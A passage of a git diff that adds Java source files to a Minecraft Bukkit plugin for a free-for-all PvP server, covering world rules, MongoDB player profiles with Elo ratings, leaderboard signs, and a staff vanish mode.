"โ–ˆ" + ChatColor.GOLD + "โ–ˆโ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.WHITE + "โ–ˆ" + ChatColor.RED + " If you log out, you will be " + ChatColor.DARK_RED + ChatColor.BOLD + "BANNED" + ChatColor.RED + "."); + player.sendMessage(ChatColor.WHITE + "โ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.GOLD + "โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.WHITE + "โ–ˆ"); + player.sendMessage(ChatColor.RED + "โ–ˆ" + ChatColor.GOLD + "โ–ˆโ–ˆโ–ˆ" + ChatColor.BLACK + "โ–ˆ" + ChatColor.GOLD + "โ–ˆโ–ˆโ–ˆ" + ChatColor.RED + "โ–ˆ Connect to our TeamSpeak " + ChatColor.GRAY + ChatColor.UNDERLINE + "ts.silexpvp.net" + ChatColor.RED + "."); + player.sendMessage(ChatColor.RED + "โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ"); + player.sendMessage(""); + + event.setTo(from); + } + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/listeners/WorldListeners.java b/FreeForAll/src/main/java/me/javaee/ffa/listeners/WorldListeners.java new file mode 100644 index 0000000..3043e6d --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/listeners/WorldListeners.java @@ -0,0 +1,99 @@ +package me.javaee.ffa.listeners; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.utils.LocationUtils; +import org.bukkit.*; +import org.bukkit.block.Block; +import org.bukkit.block.BlockFace; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.*; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.event.entity.PlayerDeathEvent; +import org.bukkit.event.player.PlayerBucketEmptyEvent; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.event.player.PlayerRespawnEvent; +import org.bukkit.event.weather.WeatherChangeEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.scheduler.BukkitRunnable; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class WorldListeners implements Listener { + @EventHandler + public void onFire(BlockIgniteEvent event) { + if (event.getCause() == BlockIgniteEvent.IgniteCause.SPREAD) { + event.setCancelled(true); + } + } + + @EventHandler + public void onPlace(BlockPlaceEvent event) { + Location location = event.getBlock().getLocation(); + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (event.getPlayer().isOp() && event.getPlayer().getGameMode() == GameMode.CREATIVE) return; + + if (information.getLobbyCuboid().contains(location)) { + event.setCancelled(true); + } else { + if (event.getBlock().getType() == Material.ANVIL) { + event.getPlayer().sendMessage(ChatColor.RED + "Your anvil will be destroyed in 15 seconds."); + Bukkit.getScheduler().scheduleSyncDelayedTask(FFA.getPlugin(), () -> location.getBlock().setType(Material.AIR), 20 * 15L); + } else { + Bukkit.getScheduler().scheduleSyncDelayedTask(FFA.getPlugin(), () -> location.getBlock().setType(Material.AIR), 20 * 7L); + } + } + } + + @EventHandler + public void onBucket(PlayerBucketEmptyEvent event) { + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (event.getBlockClicked() != null && information.getLobbyCuboid().contains(event.getBlockClicked().getLocation())) { + event.setCancelled(true); + } else { + if (!information.getLobbyCuboid().contains(event.getBlockClicked().getLocation())) { + Bukkit.getScheduler().scheduleSyncDelayedTask(FFA.getPlugin(), () -> event.getBlockClicked().getRelative(event.getBlockFace()).breakNaturally(), 20 * 5L); + } + } + } + + @EventHandler + public void onBreak(BlockBreakEvent event) { + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (event.getPlayer().isOp() && event.getPlayer().getGameMode() == GameMode.CREATIVE) return; + + if (information.getLobbyCuboid().contains(event.getPlayer().getLocation())) { + event.setCancelled(true); + } + + if (event.getBlock().getType() != Material.QUARTZ_BLOCK) { + event.setCancelled(true); + } + } + + @EventHandler + public void onWeather(WeatherChangeEvent event) { + + if (event.toWeatherState()) event.setCancelled(true); + } + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + if (event.getClickedBlock() != null) { + if (event.getAction() == Action.RIGHT_CLICK_BLOCK) { + Block block = event.getClickedBlock(); + + if (block.getType() == Material.PORTAL) { + event.getPlayer().sendBlockChange(block.getLocation(), Material.AIR, (byte) 0); + event.setCancelled(true); + } + } + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/profiles/Profile.java b/FreeForAll/src/main/java/me/javaee/ffa/profiles/Profile.java new file mode 100644 index 0000000..3b6475e --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/profiles/Profile.java @@ -0,0 +1,98 @@ +package me.javaee.ffa.profiles; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.status.PlayerStatus; +import me.javaee.ffa.protocol.ClaimPillar; +import org.bson.Document; +import org.bson.conversions.Bson; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; + +import java.util.*; + +@Getter +public class Profile { + private UUID uniqueId; + @Setter private String name; + @Setter private int kills, deaths, killstreak; + @Setter private int elo = 1000; + @Setter private String kit; + @Setter private ClaimPillar firstPillar; + @Setter private ClaimPillar secondPillar; + @Setter private PlayerStatus playerStatus = PlayerStatus.PLAYING; + @Setter private boolean vanished; + + public Profile(UUID uniqueId) { + this.uniqueId = uniqueId; + + load(); + } + + public void load() { + Document document = (Document) FFA.getPlugin().getProfilesCollection().find(Filters.eq("_id", uniqueId)).first(); + + if (document == null) return; + + name = document.getString("name"); + kills = document.getInteger("kills"); + deaths = document.getInteger("deaths"); + kit = document.getString("kit"); + + if (document.containsKey("elo")) { + elo = document.getInteger("elo"); + } + } + + public void save() { + Document document = new Document("_id", uniqueId); + + document.put("name", name); + document.put("kills", kills); + document.put("deaths", deaths); + document.put("kit", kit); + document.put("elo", elo); + + Bson filter = Filters.eq("_id", uniqueId); + FindIterable iterable = FFA.getPlugin().getProfilesCollection().find(filter); + + if (iterable.first() == null) { + FFA.getPlugin().getProfilesCollection().insertOne(document); + } else { + FFA.getPlugin().getProfilesCollection().replaceOne(filter, document); + } + } + + public int getNewRating(int rating, int opponentRating, double score) { + double kFactor = 32; + double expectedScore = getExpectedScore(rating, opponentRating); + return calculateNewRating(rating, score, expectedScore, kFactor); + } + + private int calculateNewRating(int oldRating, double score, double expectedScore, double kFactor) { + return oldRating + (int) (kFactor * (score - expectedScore)); + } + + private double getExpectedScore(int rating, int opponentRating) { + return 1.0 / (1.0 + Math.pow(10.0, ((double) (opponentRating - rating) / 400.0))); + } + + public ChatColor calculateColor() { + if (elo < 1000) { + return ChatColor.DARK_GRAY; + } else if (elo < 1200) { + return ChatColor.GRAY; + } else if (elo < 1400) { + return ChatColor.GOLD; + } else if (elo < 1600) { + return ChatColor.GREEN; + } else if (elo < 1800) { + return ChatColor.AQUA; + } else { + return ChatColor.DARK_PURPLE; + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/profiles/ProfileManager.java b/FreeForAll/src/main/java/me/javaee/ffa/profiles/ProfileManager.java new file mode 100644 index 0000000..fbf1a5a --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/profiles/ProfileManager.java @@ -0,0 +1,94 @@ +package me.javaee.ffa.profiles; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.utils.SerializationUtils; +import org.bson.Document; +import org.bson.conversions.Bson; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.player.AsyncPlayerPreLoginEvent; +import org.bukkit.event.player.PlayerQuitEvent; + +import javax.annotation.Nullable; +import javax.print.Doc; +import java.util.*; + +public class ProfileManager implements Listener { + public ProfileManager() { + Bukkit.getPluginManager().registerEvents(this, FFA.getPlugin()); + } + + @Getter + private Map profiles = new HashMap<>(); + + public Profile getProfile(UUID uniqueId) { + return profiles.get(uniqueId); + } + + public List getNotCachedProfiles() { + List toReturn = new ArrayList<>(); + + for (Object object : FFA.getPlugin().getProfilesCollection().find()) { + Document document = (Document) object; + + toReturn.add(new Profile((UUID) document.get("_id"))); + } + + return toReturn; + } + + public Map getSortedValues(String field, Bson order, @Nullable Bson filter, int limit) { + Map result = new LinkedHashMap<>(limit); + + FindIterable iterable = FFA.getPlugin().getProfilesCollection().find(Filters.exists(field)).sort(order).limit(limit); + + if (filter != null) { + iterable.filter(filter); + } + + for (Document document : iterable) { + result.put((UUID) document.get("_id"), document.get(field)); + } + + return result; + } + + public Profile getNotCachedProfile(UUID uniqueId) { + for (Object object : FFA.getPlugin().getProfilesCollection().find()) { + Document document = (Document) object; + + if (document.get("_id").equals(uniqueId)) { + return new Profile(uniqueId); + } + } + + return null; + } + + public Profile getProfile(Player player) { + return getProfile(player.getUniqueId()); + } + + @EventHandler + public void onJoin(AsyncPlayerPreLoginEvent event) { + Profile profile = new Profile(event.getUniqueId()); + + if (profile.getName() == null) { + profile.setName(event.getName()); + } + + profile.save(); + FFA.getPlugin().getProfileManager().getProfiles().put(event.getUniqueId(), profile); + } + + @EventHandler + public void onQuit(PlayerQuitEvent event) { + Bukkit.getScheduler().runTaskAsynchronously(FFA.getPlugin(), () -> getProfile(event.getPlayer().getUniqueId()).save()); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/profiles/status/PlayerStatus.java b/FreeForAll/src/main/java/me/javaee/ffa/profiles/status/PlayerStatus.java new file mode 100644 index 0000000..22f2233 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/profiles/status/PlayerStatus.java @@ -0,0 +1,5 @@ +package me.javaee.ffa.profiles.status; + +public enum PlayerStatus { + PLAYING, STAFF, FROZEN +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/profiles/tops/TopsManager.java b/FreeForAll/src/main/java/me/javaee/ffa/profiles/tops/TopsManager.java new file mode 100644 index 0000000..35a0349 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/profiles/tops/TopsManager.java @@ -0,0 +1,370 @@ +package me.javaee.ffa.profiles.tops; + +import com.mongodb.client.model.Filters; +import com.mongodb.client.model.Sorts; +import lombok.Getter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import org.bukkit.*; +import org.bukkit.block.*; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.event.block.SignChangeEvent; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.event.world.ChunkLoadEvent; +import org.bukkit.event.world.ChunkUnloadEvent; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.*; +import java.util.stream.Stream; + +public class TopsManager implements Listener { + private static final BlockFace[] BLOCK_FACES = { BlockFace.UP, BlockFace.DOWN, BlockFace.NORTH, BlockFace.SOUTH, BlockFace.EAST, BlockFace.WEST }; + + @Getter private List topKills = new ArrayList<>(); + @Getter private List topElo = new ArrayList<>(); + @Getter private Set signs = new HashSet<>(); + + private Block getNearSkull(Block block) { + return Stream.of(BLOCK_FACES).map(block::getRelative).filter(relative -> relative.getState() instanceof Skull).findFirst().orElse(null); + } + + public TopsManager() { + Bukkit.getPluginManager().registerEvents(this, FFA.getPlugin()); + + for (Chunk chunk : FFA.getPlugin().getInformationManager().getInformation().getLobbyCuboid().getChunks()) { + for (BlockState state : chunk.getTileEntities()) { + if (state instanceof Sign) { + Sign sign = (Sign) state; + + if (!signs.contains(sign) && sign.getLine(0).equalsIgnoreCase("[topkills]")) { + signs.add(sign); + } + + if (!signs.contains(sign) && sign.getLine(0).equalsIgnoreCase("[topelo]")) { + signs.add(sign); + } + } + } + } + + new BukkitRunnable() { + @Override + public void run() { + Iterator iterator = signs.iterator(); + while (iterator.hasNext()) { + Sign sign = iterator.next(); + + if (!sign.getBlock().getType().name().contains("SIGN")) { + iterator.remove(); + continue; + } + + if (sign.getLine(0).equalsIgnoreCase("[topkills]")) { + String position = sign.getLine(1); + + if (position.equalsIgnoreCase("1")) { + for (Player player : Bukkit.getOnlinePlayers()) { + if (player.getLocation().distance(sign.getLocation()) < 9) + player.sendSignChange(sign.getLocation(), new String[]{ChatColor.BLACK + ChatColor.BOLD.toString() + "Top #1", "", ChatColor.DARK_PURPLE + topKills.get(0).getName(), ChatColor.BLUE.toString() + topKills.get(0).getKills() + " kills"}); + } + } else if (position.equalsIgnoreCase("2")) { + for (Player player : Bukkit.getOnlinePlayers()) { + if (player.getLocation().distance(sign.getLocation()) < 9) + player.sendSignChange(sign.getLocation(), new String[]{ChatColor.BLACK + ChatColor.BOLD.toString() + "Top #2", "", ChatColor.DARK_PURPLE + topKills.get(1).getName(), ChatColor.BLUE.toString() + topKills.get(1).getKills() + " kills"}); + } + } else if (position.equalsIgnoreCase("3")) { + for (Player player : Bukkit.getOnlinePlayers()) { + if (player.getLocation().distance(sign.getLocation()) < 9) + player.sendSignChange(sign.getLocation(), new String[]{ChatColor.BLACK + ChatColor.BOLD.toString() + "Top #3", "", ChatColor.DARK_PURPLE + topKills.get(2).getName(), ChatColor.BLUE.toString() + topKills.get(2).getKills() + " kills"}); + } + } + } + + if (sign.getLine(0).equalsIgnoreCase("[topelo]")) { + String position = sign.getLine(1); + + if (position.equalsIgnoreCase("1")) { + for (Player player : Bukkit.getOnlinePlayers()) { + if (player.getLocation().distance(sign.getLocation()) < 9) + player.sendSignChange(sign.getLocation(), new String[]{ChatColor.BLACK + ChatColor.BOLD.toString() + "Top #1", "", ChatColor.DARK_PURPLE + topElo.get(0).getName(), ChatColor.BLUE.toString() + topElo.get(0).getElo() + " elo"}); + } + } else if (position.equalsIgnoreCase("2")) { + for (Player player : Bukkit.getOnlinePlayers()) { + if (player.getLocation().distance(sign.getLocation()) < 9) + player.sendSignChange(sign.getLocation(), new String[]{ChatColor.BLACK + ChatColor.BOLD.toString() + "Top #2", "", ChatColor.DARK_PURPLE + topElo.get(1).getName(), ChatColor.BLUE.toString() + topElo.get(1).getElo() + " elo"}); + } + } else if (position.equalsIgnoreCase("3")) { + for (Player player : Bukkit.getOnlinePlayers()) { + if (player.getLocation().distance(sign.getLocation()) < 9) + player.sendSignChange(sign.getLocation(), new String[]{ChatColor.BLACK + ChatColor.BOLD.toString() + "Top #3", "", ChatColor.DARK_PURPLE + topElo.get(2).getName(), ChatColor.BLUE.toString() + topElo.get(2).getElo() + " elo"}); + } + } + } + } + } + }.runTaskTimerAsynchronously(FFA.getPlugin(), 2L, 2L); + + Bukkit.getScheduler().runTaskTimer(FFA.getPlugin(), () -> { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&aThe leaderboards have been updated...")); + + topKills.clear(); + for (Map.Entry kills : FFA.getPlugin().getProfileManager().getSortedValues("kills", Sorts.descending("kills"), Filters.gte("kills", 1), 3).entrySet()) { + Profile profile = new Profile(kills.getKey()); + topKills.add(profile); + } + + topElo.clear(); + for (Map.Entry kills : FFA.getPlugin().getProfileManager().getSortedValues("elo", Sorts.descending("elo"), Filters.gte("elo", 1), 3).entrySet()) { + Profile profile = new Profile(kills.getKey()); + topElo.add(profile); + } + + Iterator iterator = signs.iterator(); + while (iterator.hasNext()) { + Sign sign = iterator.next(); + + if (!sign.getBlock().getType().name().contains("SIGN")) { + iterator.remove(); + continue; + } + + if (sign.getLine(0).equalsIgnoreCase("[topkills]")) { + String position = sign.getLine(1); + Location location = sign.getBlock().getLocation().add(-1, 1, 0); + + if (position.equalsIgnoreCase("1")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topKills.get(0).getName()); + skull.setRotation(BlockFace.EAST); + skull.update(true); + } else if (position.equalsIgnoreCase("2")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topKills.get(1).getName()); + skull.setRotation(BlockFace.EAST); + skull.update(true); + } else if (position.equalsIgnoreCase("3")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topKills.get(2).getName()); + skull.setRotation(BlockFace.EAST); + skull.update(true); + } + } else if (sign.getLine(0).equalsIgnoreCase("[topelo]")) { + String position = sign.getLine(1); + Location location = sign.getBlock().getLocation().add(1, 1, 0); + + if (position.equalsIgnoreCase("1")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topElo.get(0).getName()); + skull.setRotation(BlockFace.WEST); + skull.update(true); + } else if (position.equalsIgnoreCase("2")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topElo.get(1).getName()); + skull.setRotation(BlockFace.WEST); + skull.update(true); + } else if (position.equalsIgnoreCase("3")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topElo.get(2).getName()); + skull.setRotation(BlockFace.WEST); + skull.update(true); + } + } + } + }, 0L, 20 * 5 * 60L); + } + + @EventHandler + public void onBlockBreakEvent(BlockBreakEvent event) { + BlockState state = event.getBlock().getState(); + if (state instanceof Sign) { + Sign sign = (Sign) state; + if (signs.contains(sign)) { + signs.remove(sign); + } + } + } + + @EventHandler + public void onSignChangeEvent(SignChangeEvent event) { + new BukkitRunnable() { + @Override + public void run() { + BlockState state = event.getBlock().getState(); + if (state instanceof Sign) { + Sign sign = (Sign) state; + if (!signs.contains(sign) && sign.getLine(0).equalsIgnoreCase("[topkills]")) { + signs.add(sign); + } + + if (!signs.contains(sign) && sign.getLine(0).equalsIgnoreCase("[topelo]")) { + signs.add(sign); + } + } + } + }.runTaskLater(FFA.getPlugin(), 2L); + + BlockState state = event.getBlock().getState(); + + if (event.getLine(0).equalsIgnoreCase("[warp]") && event.getLine(1).equalsIgnoreCase("fullfps")) { + event.setLine(0, ChatColor.translateAlternateColorCodes('&', "&7&m-----------")); + event.setLine(1, ChatColor.translateAlternateColorCodes('&', "&aClick to warp")); + event.setLine(2, ChatColor.translateAlternateColorCodes('&', "(FullFPS arena)")); + event.setLine(3, ChatColor.translateAlternateColorCodes('&', "&7&m-----------")); + } + } + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + if (event.getAction() == Action.RIGHT_CLICK_BLOCK && event.getClickedBlock() != null && (event.getClickedBlock().getType() == Material.SIGN_POST || event.getClickedBlock().getType() == Material.WALL_SIGN)) { + BlockState state = event.getClickedBlock().getState(); + + if (state instanceof Sign) { + Sign sign = (Sign) state; + + if (sign.getLine(2).contains("FullFPS")) { + event.getPlayer().performCommand("warp fullfps"); + } + } + } + } + + public void check() { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&aThe leaderboards have been updated...")); + + topKills.clear(); + for (Map.Entry kills : FFA.getPlugin().getProfileManager().getSortedValues("kills", Sorts.descending("kills"), Filters.gte("kills", 1), 3).entrySet()) { + Profile profile = new Profile(kills.getKey()); + topKills.add(profile); + } + + topElo.clear(); + for (Map.Entry kills : FFA.getPlugin().getProfileManager().getSortedValues("elo", Sorts.descending("elo"), Filters.gte("elo", 1), 3).entrySet()) { + Profile profile = new Profile(kills.getKey()); + topElo.add(profile); + } + + Iterator iterator = signs.iterator(); + while (iterator.hasNext()) { + Sign sign = iterator.next(); + + if (!sign.getBlock().getType().name().contains("SIGN")) { + iterator.remove(); + continue; + } + + if (sign.getLine(0).equalsIgnoreCase("[topkills]")) { + String position = sign.getLine(1); + Location location = sign.getLocation().add(-1, 1, 0); + + if (position.equalsIgnoreCase("1")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topKills.get(0).getName()); + skull.setRotation(BlockFace.valueOf("EAST")); + skull.update(true); + } else if (position.equalsIgnoreCase("2")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topKills.get(1).getName()); + skull.setRotation(BlockFace.valueOf("EAST")); + skull.update(true); + } else if (position.equalsIgnoreCase("3")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topKills.get(2).getName()); + skull.setRotation(BlockFace.valueOf("EAST")); + skull.update(true); + } + } else if (sign.getLine(0).equalsIgnoreCase("[topelo]")) { + String position = sign.getLine(1); + Location location = sign.getLocation().add(1, 1, 0); + + if (position.equalsIgnoreCase("1")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topElo.get(0).getName()); + skull.setRotation(BlockFace.valueOf("WEST")); + skull.update(true); + } else if (position.equalsIgnoreCase("2")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topElo.get(1).getName()); + skull.setRotation(BlockFace.valueOf("WEST")); + skull.update(true); + } else if (position.equalsIgnoreCase("3")) { + Block b = location.getBlock(); + b.setTypeIdAndData(Material.SKULL.getId(), (byte) 1, true); + + Skull skull = (Skull) b.getState(); + skull.setSkullType(SkullType.PLAYER); + skull.setOwner(topElo.get(2).getName()); + skull.setRotation(BlockFace.valueOf("WEST")); + skull.update(true); + } + } + } + } + + public Block getAttachedBlock(Block sb) { + if (sb.getType() == Material.WALL_SIGN || sb.getType() == Material.SIGN_POST) { + org.bukkit.material.Sign s = (org.bukkit.material.Sign) sb.getState().getData(); // org.bukkit.material.Sign + + return sb.getRelative(s.getAttachedFace()); + } else { + return null; + } + } + + public BlockFace getFace(Block sb) { + if (sb.getType() == Material.WALL_SIGN || sb.getType() == Material.SIGN_POST) { + org.bukkit.material.Sign s = (org.bukkit.material.Sign) sb.getState().getData(); // org.bukkit.material.Sign + + return s.getFacing(); + } else { + return null; + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/protocol/ClaimPillar.java b/FreeForAll/src/main/java/me/javaee/ffa/protocol/ClaimPillar.java new file mode 100644 index 0000000..c9a7015 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/protocol/ClaimPillar.java @@ -0,0 +1,57 @@ +package me.javaee.ffa.protocol; + +import lombok.Getter; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.entity.Player; + +import java.util.ArrayList; + +@Getter +public class ClaimPillar { + private Player player; + private Material blockType; + private byte data; + private ArrayList blocks; + private Location location; + + public ClaimPillar(Player player, Material blockType, byte data, Location location) { + this.player = player; + this.location = location; + this.blockType = blockType; + this.data = data; + + blocks = new ArrayList<>(); + } + + + public void sendPillar() { + int x = location.getBlockX(); + int z = location.getBlockZ(); + + for (int i = 0; i <= 256; i++) { + Location location = new Location(this.location.getWorld(), x, i, z); + if (location.getBlock().getType() == Material.AIR) { + if (blocks.contains(location.getBlockY())) { + player.getPlayer().sendBlockChange(location, blockType, data); + player.getPlayer().sendBlockChange(location.add(0, 2, 0), Material.GLASS, (byte) 0); + } else { + player.getPlayer().sendBlockChange(location, Material.GLASS, (byte) 0); + blocks.add(location.getBlockY() + 1); + } + } + } + } + + public void removePillar() { + int x = location.getBlockX(); + int z = location.getBlockZ(); + + for (int i = 0; i <= 256; i++) { + Location location = new Location(this.location.getWorld(), x, i, z); + if (location.getBlock().getType() == Material.AIR) { + player.getPlayer().sendBlockChange(location, Material.AIR, (byte) 0); + } + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/protocol/ProtocolHandler.java b/FreeForAll/src/main/java/me/javaee/ffa/protocol/ProtocolHandler.java new file mode 100644 index 0000000..cc3fcac --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/protocol/ProtocolHandler.java @@ -0,0 +1,8 @@ +package me.javaee.ffa.protocol; + + +public class ProtocolHandler { + public ProtocolHandler() { + + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/staff.zip b/FreeForAll/src/main/java/me/javaee/ffa/staff.zip new file mode 100644 index 0000000..a2b6fc4 Binary files /dev/null and b/FreeForAll/src/main/java/me/javaee/ffa/staff.zip differ diff --git a/FreeForAll/src/main/java/me/javaee/ffa/staff/StaffManager.java b/FreeForAll/src/main/java/me/javaee/ffa/staff/StaffManager.java new file mode 100644 index 0000000..02880e8 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/staff/StaffManager.java @@ -0,0 +1,82 @@ +package me.javaee.ffa.staff; + +import lombok.Getter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.profiles.status.PlayerStatus; +import me.javaee.ffa.staff.listeners.StaffListener; +import me.javaee.ffa.utils.ItemBuilder; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.SerializationUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.GameMode; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; + +@Getter +public class StaffManager { + public StaffManager() { + Bukkit.getPluginManager().registerEvents(new StaffListener(), FFA.getPlugin()); + } + + public void enable(Player player) { + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + profile.setPlayerStatus(PlayerStatus.STAFF); + + player.setSaturation(14); + player.setGameMode(GameMode.SURVIVAL); + player.setAllowFlight(true); + player.setHealth(20); + player.setFoodLevel(20); + + player.getInventory().setArmorContents(new ItemStack[4]); + player.getInventory().clear(); + + player.getInventory().setItem(0, new ItemBuilder(Material.COMPASS).setDisplayName("&6Teleporter").create()); + player.getInventory().setItem(1, new ItemBuilder(Material.BOOK).setDisplayName("&6Inventory Inspector").create()); + + if (player.hasPermission("worldedit.wand")) { + player.getInventory().setItem(2, new ItemBuilder(Material.WOOD_AXE).setDisplayName("&6Wand").create()); + } + + player.getInventory().setItem(7, new ItemBuilder(Material.EYE_OF_ENDER).setDisplayName("&6Random Teleport").create()); + player.getInventory().setItem(8, new ItemBuilder(Material.INK_SACK).setDurability(8).setDisplayName("&6You are vanished").create()); + profile.setVanished(true); + for (Player online : Bukkit.getOnlinePlayers()) { + if (!online.hasPermission("litebans.tempban")) { + online.hidePlayer(player); + } + + player.showPlayer(online); + } + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYour staff mode has been activated.")); + } + + public void disable(Player player) { + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + profile.setPlayerStatus(PlayerStatus.PLAYING); + + player.setSaturation(14); + player.setGameMode(GameMode.SURVIVAL); + player.setAllowFlight(false); + player.setHealth(20); + player.setFoodLevel(20); + + player.getInventory().setArmorContents(new ItemStack[4]); + player.getInventory().clear(); + player.teleport(LocationUtils.getLocation(FFA.getPlugin().getInformationManager().getInformation().getLobbyLocation())); + SerializationUtils.setKitToPlayer(player); + //Setearle el kit que tiene guardado/default... + + for (Player online : Bukkit.getOnlinePlayers()) { + online.showPlayer(player); + player.showPlayer(online); + } + profile.setVanished(false); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYour staff mode has been desactivated.")); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/staff/commands/StaffCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/staff/commands/StaffCommand.java new file mode 100644 index 0000000..943b944 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/staff/commands/StaffCommand.java @@ -0,0 +1,31 @@ +package me.javaee.ffa.staff.commands; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.profiles.status.PlayerStatus; +import me.javaee.ffa.utils.command.ExecutableCommand; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class StaffCommand extends ExecutableCommand { + public StaffCommand() { + super("staffmode", null, "staff", "h", "mod", "modmode", "helper", "helpermode", "admin", "adminmode"); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF) { + FFA.getPlugin().getStaffManager().disable(player); + } else if (profile.getPlayerStatus() == PlayerStatus.PLAYING) { + FFA.getPlugin().getStaffManager().enable(player); + } + } + + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/staff/listeners/StaffListener.java b/FreeForAll/src/main/java/me/javaee/ffa/staff/listeners/StaffListener.java new file mode 100644 index 0000000..b0447e8 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/staff/listeners/StaffListener.java @@ -0,0 +1,170 @@ +package 